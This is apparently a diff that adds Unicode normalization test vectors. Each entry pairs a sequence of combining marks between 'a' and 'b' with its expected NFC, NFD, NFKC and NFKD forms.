+{ source: [0x0061, 0x033C, 0x059A, 0x0316, 0x1DFA, 0x0062], NFC: [0x0061, 0x1DFA, 0x033C, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x1DFA, 0x033C, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x1DFA, 0x033C, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x1DFA, 0x033C, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x033D, 0x0062], NFC: [0x00E0, 0x05AE, 0x033D, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x033D, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x033D, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x033D, 0x0315, 0x0062] },
+{ source: [0x0061, 0x033D, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x033D, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x033D, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x033D, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x033D, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x033E, 0x0062], NFC: [0x00E0, 0x05AE, 0x033E, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x033E, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x033E, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x033E, 0x0315, 0x0062] },
+{ source: [0x0061, 0x033E, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x033E, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x033E, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x033E, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x033E, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x033F, 0x0062], NFC: [0x00E0, 0x05AE, 0x033F, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x033F, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x033F, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x033F, 0x0315, 0x0062] },
+{ source: [0x0061, 0x033F, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x033F, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x033F, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x033F, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x033F, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x0340, 0x0062], NFC: [0x00E0, 0x05AE, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x0300, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0340, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x00E0, 0x05AE, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x0300, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x0341, 0x0062], NFC: [0x00E0, 0x05AE, 0x0301, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x0301, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x0301, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x0301, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0341, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x00E1, 0x05AE, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0301, 0x0300, 0x0315, 0x0062], NFKC: [0x00E1, 0x05AE, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0301, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x0342, 0x0062], NFC: [0x00E0, 0x05AE, 0x0342, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x0342, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x0342, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x0342, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0342, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x0342, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0342, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x0342, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0342, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x0343, 0x0062], NFC: [0x00E0, 0x05AE, 0x0313, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x0313, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x0313, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x0313, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0343, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x0313, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0313, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x0313, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0313, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x0344, 0x0062], NFC: [0x00E0, 0x05AE, 0x0308, 0x0301, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x0308, 0x0301, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x0308, 0x0301, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x0308, 0x0301, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0344, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x00E4, 0x05AE, 0x0301, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0308, 0x0301, 0x0300, 0x0315, 0x0062], NFKC: [0x00E4, 0x05AE, 0x0301, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0308, 0x0301, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0345, 0x035D, 0x0345, 0x0062], NFC: [0x0061, 0x035D, 0x0345, 0x0345, 0x0062], NFD: [0x0061, 0x035D, 0x0345, 0x0345, 0x0062], NFKC: [0x0061, 0x035D, 0x0345, 0x0345, 0x0062], NFKD: [0x0061, 0x035D, 0x0345, 0x0345, 0x0062] },
+{ source: [0x0061, 0x0345, 0x0345, 0x035D, 0x0062], NFC: [0x0061, 0x035D, 0x0345, 0x0345, 0x0062], NFD: [0x0061, 0x035D, 0x0345, 0x0345, 0x0062], NFKC: [0x0061, 0x035D, 0x0345, 0x0345, 0x0062], NFKD: [0x0061, 0x035D, 0x0345, 0x0345, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x0346, 0x0062], NFC: [0x00E0, 0x05AE, 0x0346, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x0346, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x0346, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x0346, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0346, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x0346, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0346, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x0346, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0346, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x1DFA, 0x0347, 0x0062], NFC: [0x0061, 0x1DFA, 0x0316, 0x0347, 0x059A, 0x0062], NFD: [0x0061, 0x1DFA, 0x0316, 0x0347, 0x059A, 0x0062], NFKC: [0x0061, 0x1DFA, 0x0316, 0x0347, 0x059A, 0x0062], NFKD: [0x0061, 0x1DFA, 0x0316, 0x0347, 0x059A, 0x0062] },
+{ source: [0x0061, 0x0347, 0x059A, 0x0316, 0x1DFA, 0x0062], NFC: [0x0061, 0x1DFA, 0x0347, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x1DFA, 0x0347, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x1DFA, 0x0347, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x1DFA, 0x0347, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x1DFA, 0x0348, 0x0062], NFC: [0x0061, 0x1DFA, 0x0316, 0x0348, 0x059A, 0x0062], NFD: [0x0061, 0x1DFA, 0x0316, 0x0348, 0x059A, 0x0062], NFKC: [0x0061, 0x1DFA, 0x0316, 0x0348, 0x059A, 0x0062], NFKD: [0x0061, 0x1DFA, 0x0316, 0x0348, 0x059A, 0x0062] },
+{ source: [0x0061, 0x0348, 0x059A, 0x0316, 0x1DFA, 0x0062], NFC: [0x0061, 0x1DFA, 0x0348, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x1DFA, 0x0348, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x1DFA, 0x0348, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x1DFA, 0x0348, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x1DFA, 0x0349, 0x0062], NFC: [0x0061, 0x1DFA, 0x0316, 0x0349, 0x059A, 0x0062], NFD: [0x0061, 0x1DFA, 0x0316, 0x0349, 0x059A, 0x0062], NFKC: [0x0061, 0x1DFA, 0x0316, 0x0349, 0x059A, 0x0062], NFKD: [0x0061, 0x1DFA, 0x0316, 0x0349, 0x059A, 0x0062] },
+{ source: [0x0061, 0x0349, 0x059A, 0x0316, 0x1DFA, 0x0062], NFC: [0x0061, 0x1DFA, 0x0349, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x1DFA, 0x0349, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x1DFA, 0x0349, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x1DFA, 0x0349, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x034A, 0x0062], NFC: [0x00E0, 0x05AE, 0x034A, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x034A, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x034A, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x034A, 0x0315, 0x0062] },
+{ source: [0x0061, 0x034A, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x034A, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x034A, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x034A, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x034A, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x034B, 0x0062], NFC: [0x00E0, 0x05AE, 0x034B, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x034B, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x034B, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x034B, 0x0315, 0x0062] },
+{ source: [0x0061, 0x034B, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x034B, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x034B, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x034B, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x034B, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x034C, 0x0062], NFC: [0x00E0, 0x05AE, 0x034C, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x034C, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x034C, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x034C, 0x0315, 0x0062] },
+{ source: [0x0061, 0x034C, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x034C, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x034C, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x034C, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x034C, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x1DFA, 0x034D, 0x0062], NFC: [0x0061, 0x1DFA, 0x0316, 0x034D, 0x059A, 0x0062], NFD: [0x0061, 0x1DFA, 0x0316, 0x034D, 0x059A, 0x0062], NFKC: [0x0061, 0x1DFA, 0x0316, 0x034D, 0x059A, 0x0062], NFKD: [0x0061, 0x1DFA, 0x0316, 0x034D, 0x059A, 0x0062] },
+{ source: [0x0061, 0x034D, 0x059A, 0x0316, 0x1DFA, 0x0062], NFC: [0x0061, 0x1DFA, 0x034D, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x1DFA, 0x034D, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x1DFA, 0x034D, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x1DFA, 0x034D, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x1DFA, 0x034E, 0x0062], NFC: [0x0061, 0x1DFA, 0x0316, 0x034E, 0x059A, 0x0062], NFD: [0x0061, 0x1DFA, 0x0316, 0x034E, 0x059A, 0x0062], NFKC: [0x0061, 0x1DFA, 0x0316, 0x034E, 0x059A, 0x0062], NFKD: [0x0061, 0x1DFA, 0x0316, 0x034E, 0x059A, 0x0062] },
+{ source: [0x0061, 0x034E, 0x059A, 0x0316, 0x1DFA, 0x0062], NFC: [0x0061, 0x1DFA, 0x034E, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x1DFA, 0x034E, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x1DFA, 0x034E, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x1DFA, 0x034E, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x0350, 0x0062], NFC: [0x00E0, 0x05AE, 0x0350, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x0350, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x0350, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x0350, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0350, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x0350, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0350, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x0350, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0350, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x0351, 0x0062], NFC: [0x00E0, 0x05AE, 0x0351, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x0351, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x0351, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x0351, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0351, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x0351, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0351, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x0351, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0351, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x0352, 0x0062], NFC: [0x00E0, 0x05AE, 0x0352, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x0352, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x0352, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x0352, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0352, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x0352, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0352, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x0352, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0352, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x1DFA, 0x0353, 0x0062], NFC: [0x0061, 0x1DFA, 0x0316, 0x0353, 0x059A, 0x0062], NFD: [0x0061, 0x1DFA, 0x0316, 0x0353, 0x059A, 0x0062], NFKC: [0x0061, 0x1DFA, 0x0316, 0x0353, 0x059A, 0x0062], NFKD: [0x0061, 0x1DFA, 0x0316, 0x0353, 0x059A, 0x0062] },
+{ source: [0x0061, 0x0353, 0x059A, 0x0316, 0x1DFA, 0x0062], NFC: [0x0061, 0x1DFA, 0x0353, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x1DFA, 0x0353, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x1DFA, 0x0353, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x1DFA, 0x0353, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x1DFA, 0x0354, 0x0062], NFC: [0x0061, 0x1DFA, 0x0316, 0x0354, 0x059A, 0x0062], NFD: [0x0061, 0x1DFA, 0x0316, 0x0354, 0x059A, 0x0062], NFKC: [0x0061, 0x1DFA, 0x0316, 0x0354, 0x059A, 0x0062], NFKD: [0x0061, 0x1DFA, 0x0316, 0x0354, 0x059A, 0x0062] },
+{ source: [0x0061, 0x0354, 0x059A, 0x0316, 0x1DFA, 0x0062], NFC: [0x0061, 0x1DFA, 0x0354, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x1DFA, 0x0354, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x1DFA, 0x0354, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x1DFA, 0x0354, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x1DFA, 0x0355, 0x0062], NFC: [0x0061, 0x1DFA, 0x0316, 0x0355, 0x059A, 0x0062], NFD: [0x0061, 0x1DFA, 0x0316, 0x0355, 0x059A, 0x0062], NFKC: [0x0061, 0x1DFA, 0x0316, 0x0355, 0x059A, 0x0062], NFKD: [0x0061, 0x1DFA, 0x0316, 0x0355, 0x059A, 0x0062] },
+{ source: [0x0061, 0x0355, 0x059A, 0x0316, 0x1DFA, 0x0062], NFC: [0x0061, 0x1DFA, 0x0355, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x1DFA, 0x0355, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x1DFA, 0x0355, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x1DFA, 0x0355, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x1DFA, 0x0356, 0x0062], NFC: [0x0061, 0x1DFA, 0x0316, 0x0356, 0x059A, 0x0062], NFD: [0x0061, 0x1DFA, 0x0316, 0x0356, 0x059A, 0x0062], NFKC: [0x0061, 0x1DFA, 0x0316, 0x0356, 0x059A, 0x0062], NFKD: [0x0061, 0x1DFA, 0x0316, 0x0356, 0x059A, 0x0062] },
+{ source: [0x0061, 0x0356, 0x059A, 0x0316, 0x1DFA, 0x0062], NFC: [0x0061, 0x1DFA, 0x0356, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x1DFA, 0x0356, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x1DFA, 0x0356, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x1DFA, 0x0356, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x0357, 0x0062], NFC: [0x00E0, 0x05AE, 0x0357, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x0357, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x0357, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x0357, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0357, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x0357, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0357, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x0357, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0357, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x035C, 0x0315, 0x0300, 0x0358, 0x0062], NFC: [0x00E0, 0x0315, 0x0358, 0x035C, 0x0062], NFD: [0x0061, 0x0300, 0x0315, 0x0358, 0x035C, 0x0062], NFKC: [0x00E0, 0x0315, 0x0358, 0x035C, 0x0062], NFKD: [0x0061, 0x0300, 0x0315, 0x0358, 0x035C, 0x0062] },
+{ source: [0x0061, 0x0358, 0x035C, 0x0315, 0x0300, 0x0062], NFC: [0x00E0, 0x0358, 0x0315, 0x035C, 0x0062], NFD: [0x0061, 0x0300, 0x0358, 0x0315, 0x035C, 0x0062], NFKC: [0x00E0, 0x0358, 0x0315, 0x035C, 0x0062], NFKD: [0x0061, 0x0300, 0x0358, 0x0315, 0x035C, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x1DFA, 0x0359, 0x0062], NFC: [0x0061, 0x1DFA, 0x0316, 0x0359, 0x059A, 0x0062], NFD: [0x0061, 0x1DFA, 0x0316, 0x0359, 0x059A, 0x0062], NFKC: [0x0061, 0x1DFA, 0x0316, 0x0359, 0x059A, 0x0062], NFKD: [0x0061, 0x1DFA, 0x0316, 0x0359, 0x059A, 0x0062] },
+{ source: [0x0061, 0x0359, 0x059A, 0x0316, 0x1DFA, 0x0062], NFC: [0x0061, 0x1DFA, 0x0359, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x1DFA, 0x0359, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x1DFA, 0x0359, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x1DFA, 0x0359, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x1DFA, 0x035A, 0x0062], NFC: [0x0061, 0x1DFA, 0x0316, 0x035A, 0x059A, 0x0062], NFD: [0x0061, 0x1DFA, 0x0316, 0x035A, 0x059A, 0x0062], NFKC: [0x0061, 0x1DFA, 0x0316, 0x035A, 0x059A, 0x0062], NFKD: [0x0061, 0x1DFA, 0x0316, 0x035A, 0x059A, 0x0062] },
+{ source: [0x0061, 0x035A, 0x059A, 0x0316, 0x1DFA, 0x0062], NFC: [0x0061, 0x1DFA, 0x035A, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x1DFA, 0x035A, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x1DFA, 0x035A, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x1DFA, 0x035A, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x035B, 0x0062], NFC: [0x00E0, 0x05AE, 0x035B, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x035B, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x035B, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x035B, 0x0315, 0x0062] },
+{ source: [0x0061, 0x035B, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x035B, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x035B, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x035B, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x035B, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x035D, 0x035C, 0x0315, 0x035C, 0x0062], NFC: [0x0061, 0x0315, 0x035C, 0x035C, 0x035D, 0x0062], NFD: [0x0061, 0x0315, 0x035C, 0x035C, 0x035D, 0x0062], NFKC: [0x0061, 0x0315, 0x035C, 0x035C, 0x035D, 0x0062], NFKD: [0x0061, 0x0315, 0x035C, 0x035C, 0x035D, 0x0062] },
+{ source: [0x0061, 0x035C, 0x035D, 0x035C, 0x0315, 0x0062], NFC: [0x0061, 0x0315, 0x035C, 0x035C, 0x035D, 0x0062], NFD: [0x0061, 0x0315, 0x035C, 0x035C, 0x035D, 0x0062], NFKC: [0x0061, 0x0315, 0x035C, 0x035C, 0x035D, 0x0062], NFKD: [0x0061, 0x0315, 0x035C, 0x035C, 0x035D, 0x0062] },
+{ source: [0x0061, 0x0345, 0x035D, 0x035C, 0x035D, 0x0062], NFC: [0x0061, 0x035C, 0x035D, 0x035D, 0x0345, 0x0062], NFD: [0x0061, 0x035C, 0x035D, 0x035D, 0x0345, 0x0062], NFKC: [0x0061, 0x035C, 0x035D, 0x035D, 0x0345, 0x0062], NFKD: [0x0061, 0x035C, 0x035D, 0x035D, 0x0345, 0x0062] },
+{ source: [0x0061, 0x035D, 0x0345, 0x035D, 0x035C, 0x0062], NFC: [0x0061, 0x035C, 0x035D, 0x035D, 0x0345, 0x0062], NFD: [0x0061, 0x035C, 0x035D, 0x035D, 0x0345, 0x0062], NFKC: [0x0061, 0x035C, 0x035D, 0x035D, 0x0345, 0x0062], NFKD: [0x0061, 0x035C, 0x035D, 0x035D, 0x0345, 0x0062] },
+{ source: [0x0061, 0x0345, 0x035D, 0x035C, 0x035E, 0x0062], NFC: [0x0061, 0x035C, 0x035D, 0x035E, 0x0345, 0x0062], NFD: [0x0061, 0x035C, 0x035D, 0x035E, 0x0345, 0x0062], NFKC: [0x0061, 0x035C, 0x035D, 0x035E, 0x0345, 0x0062], NFKD: [0x0061, 0x035C, 0x035D, 0x035E, 0x0345, 0x0062] },
+{ source: [0x0061, 0x035E, 0x0345, 0x035D, 0x035C, 0x0062], NFC: [0x0061, 0x035C, 0x035E, 0x035D, 0x0345, 0x0062], NFD: [0x0061, 0x035C, 0x035E, 0x035D, 0x0345, 0x0062], NFKC: [0x0061, 0x035C, 0x035E, 0x035D, 0x0345, 0x0062], NFKD: [0x0061, 0x035C, 0x035E, 0x035D, 0x0345, 0x0062] },
+{ source: [0x0061, 0x035D, 0x035C, 0x0315, 0x035F, 0x0062], NFC: [0x0061, 0x0315, 0x035C, 0x035F, 0x035D, 0x0062], NFD: [0x0061, 0x0315, 0x035C, 0x035F, 0x035D, 0x0062], NFKC: [0x0061, 0x0315, 0x035C, 0x035F, 0x035D, 0x0062], NFKD: [0x0061, 0x0315, 0x035C, 0x035F, 0x035D, 0x0062] },
+{ source: [0x0061, 0x035F, 0x035D, 0x035C, 0x0315, 0x0062], NFC: [0x0061, 0x0315, 0x035F, 0x035C, 0x035D, 0x0062], NFD: [0x0061, 0x0315, 0x035F, 0x035C, 0x035D, 0x0062], NFKC: [0x0061, 0x0315, 0x035F, 0x035C, 0x035D, 0x0062], NFKD: [0x0061, 0x0315, 0x035F, 0x035C, 0x035D, 0x0062] },
+{ source: [0x0061, 0x0345, 0x035D, 0x035C, 0x0360, 0x0062], NFC: [0x0061, 0x035C, 0x035D, 0x0360, 0x0345, 0x0062], NFD: [0x0061, 0x035C, 0x035D, 0x0360, 0x0345, 0x0062], NFKC: [0x0061, 0x035C, 0x035D, 0x0360, 0x0345, 0x0062], NFKD: [0x0061, 0x035C, 0x035D, 0x0360, 0x0345, 0x0062] },
+{ source: [0x0061, 0x0360, 0x0345, 0x035D, 0x035C, 0x0062], NFC: [0x0061, 0x035C, 0x0360, 0x035D, 0x0345, 0x0062], NFD: [0x0061, 0x035C, 0x0360, 0x035D, 0x0345, 0x0062], NFKC: [0x0061, 0x035C, 0x0360, 0x035D, 0x0345, 0x0062], NFKD: [0x0061, 0x035C, 0x0360, 0x035D, 0x0345, 0x0062] },
+{ source: [0x0061, 0x0345, 0x035D, 0x035C, 0x0361, 0x0062], NFC: [0x0061, 0x035C, 0x035D, 0x0361, 0x0345, 0x0062], NFD: [0x0061, 0x035C, 0x035D, 0x0361, 0x0345, 0x0062], NFKC: [0x0061, 0x035C, 0x035D, 0x0361, 0x0345, 0x0062], NFKD: [0x0061, 0x035C, 0x035D, 0x0361, 0x0345, 0x0062] },
